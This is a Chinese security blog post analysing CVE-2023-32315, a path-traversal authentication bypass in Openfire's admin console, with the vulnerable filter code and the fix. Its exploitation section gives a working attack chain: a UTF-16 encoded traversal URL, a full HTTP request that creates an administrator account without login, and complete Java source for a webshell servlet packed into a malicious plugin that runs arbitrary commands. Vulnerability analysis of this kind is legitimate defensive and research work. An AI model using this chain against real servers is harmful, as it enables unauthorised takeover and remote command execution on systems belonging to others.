CVE-2023-32315 Openfire管理后台认证绕过漏洞

admin 2023年6月21日11:11:58评论229 views字数 6426阅读21分25秒阅读模式

一、漏洞描述

Openfire 的管理控制台(Admin Console)是一个基于 Web 的应用程序,被发现容易受到通过设置环境进行的路径遍历攻击。 这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境,以访问为管理用户保留的 Openfire 管理控制台中的受限页面。

二、影响版本

3.10.0 <= Openfire < 4.6.8

4.7.0 <= Openfire < 4.7.5

三、漏洞详情

Openfire 于2008年存在漏洞 CVE-2008-6508,攻击者可以利用/setup/setup-/../../[page].jsp来绕过权限校验并访问任意后台页面,Openfire通过增加对 url 中 ".." 和 "%2e"的检测修复此漏洞。CVE-2023-32315为此漏洞的再次绕过。

github查看修复内容

https://github.com/igniterealtime/Openfire/commit/bef928fc92d0c0185ee8a8408b7c33e5170ae395

CVE-2023-32315 Openfire管理后台认证绕过漏洞

修改了 xmppserver/src/main/webapp/WEB-INF/web.xml 文件,将 setup/setup-* 去除,此文件为配置文件,此处配置 filter,对应 filterorg.jivesoftware.admin.AuthCheckFilter,查看 fiter,主要为以下两个方法

//doFilter 为 filter 过滤方法
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
        throws IOException, ServletException
{
    //获取request response 并添加 header 头
    HttpServletRequest request = (HttpServletRequest)req;
    HttpServletResponse response = (HttpServletResponse)res;
    // Do not allow framing; OF-997
    response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
    // Reset the defaultLoginPage variable
    String loginPage = defaultLoginPage;
    if (loginPage == null) {
        loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp" );
    }
    // Get the page we're on:
    String url = request.getRequestURI().substring(1);
    if (url.startsWith("plugins/")) {
        url = url.substring("plugins/".length());
    }
    // See if it's contained in the exclude list. If so, skip filter execution
    boolean doExclude = false;
    //此处 excludes 为之前配置文件中配置的部分
    for (String exclude : excludes) {
        //调用 testURLPassesExclude()
        if (testURLPassesExclude(url, exclude)) {
            //doExclude 为 true
            doExclude = true;
            break;
        }
    }
    // testURLPassesExclude() 返回true 不进入 if
    if (!doExclude) {
        WebManager manager = new WebManager();
        manager.init(request, response, request.getSession(), context);
        boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
        User loggedUser = manager.getUser();
        boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
        if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
            response.sendRedirect(getRedirectURL(request, loginPage, null));
            return;
        }
    }
    chain.doFilter(req, res);
}

/**
 * Returns true if a URL passes an exclude rule.
 *
 * @param url the URL to test.
 * @param exclude the exclude rule.
 * @return true if the URL passes the exclude test.
 */
public static boolean testURLPassesExclude(String url, String exclude) {
    // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
    // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
    // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
    // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
    // characters after the "*". All data in the URL before

    //exclude 以 * 结尾进入,当 exclude 为 setup/setup-* 进入if
    if (exclude.endsWith("*")) {
        //传递进来 url 以 setup/setup- 开头进入if
        if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
            // Now make sure that there are no ".." characters in the rest of the URL.
            //url 中不包含 .. 和 %2e 返回 true,可绕过此 filter 过滤
            if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                return true;
            }
        }
    }
    else if (exclude.contains("?")) {
        if (url.equals(exclude)) {
            return true;
        }
    }
    else {
        int paramIndex = url.indexOf("?");
        if (paramIndex != -1) {
            url = url.substring(0, paramIndex);
        }
        if (url.equals(exclude)) {
            return true;
        }
    }
    return false;
}

因为内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,故可以使用UTF-16字符来绕过路径穿越防护,重新利用路径穿越漏洞/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp

四、漏洞利用

1、漏洞测试

访问/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp,发现存在漏洞

CVE-2023-32315 Openfire管理后台认证绕过漏洞

2、添加管理员用户

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

注:

修改其中 csrftoken

CVE-2023-32315 Openfire管理后台认证绕过漏洞

此处返回异常,但用户已添加,登录test/test

CVE-2023-32315 Openfire管理后台认证绕过漏洞

3、上传恶意插件 jar 包 getshell

修改开源插件https://github.com/igniterealtime/openfire-fastpath-plugin

src/web/WEB-INF/web.xml

<!-- Servlets -->
<servlet>
    <servlet-name>ImageServlet</servlet-name>
    <servlet-class>org.jivesoftware.openfire.fastpath.ImageServlet</servlet-class>
</servlet>
<servlet>
    <servlet-name>SoundServlet</servlet-name>
    <servlet-class>org.jivesoftware.openfire.fastpath.SoundServlet</servlet-class>
</servlet>
<servlet>
    <servlet-name>WebshellServlet</servlet-name>
    <servlet-class>org.jivesoftware.openfire.fastpath.WebshellServlet</servlet-class>
</servlet>


<!-- Servlet mappings -->
<servlet-mapping>
    <servlet-name>ImageServlet</servlet-name>
    <url-pattern>/getimage</url-pattern>
</servlet-mapping>
<servlet-mapping>
    <servlet-name>SoundServlet</servlet-name>
    <url-pattern>/getsound</url-pattern>
</servlet-mapping>
<servlet-mapping>
    <servlet-name>WebshellServlet</servlet-name>
    <url-pattern>/shell</url-pattern>
</servlet-mapping>

org/jivesoftware/openfire/fastpath/WebshellServlet.java

package org.jivesoftware.openfire.fastpath;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.beans.Expression;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;


public class WebshellServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try{
            String cmd = req.getParameter("cmd");
            if (cmd != null && !cmd.isEmpty()){
                Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
                Process process = (Process) expr.getValue();
                InputStream in = process.getInputStream();
                StringBuilder sb = new StringBuilder();
                InputStreamReader resultReader = new InputStreamReader(in);
                BufferedReader stdInput = new BufferedReader(resultReader);
                String s;
                while ((s = stdInput.readLine()) != null) {
                    sb.append(s).append("n");
                }
                resp.getWriter().print(sb);
            }
        } catch (ServletException | IOException e) {
            throw e;
        }catch (Exception e){
            resp.getWriter().write(e.getMessage());
        }

    }

}

打包为jar后上传jar

CVE-2023-32315 Openfire管理后台认证绕过漏洞

访问shell

http://192.168.0.104:9090/plugins/shell/shell?cmd=whoami

CVE-2023-32315 Openfire管理后台认证绕过漏洞

 

原文始发于微信公众号(白给信安):CVE-2023-32315 Openfire管理后台认证绕过漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日11:11:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-32315 Openfire管理后台认证绕过漏洞http://cn-sec.com/archives/1823861.html

发表评论

匿名网友 填写信息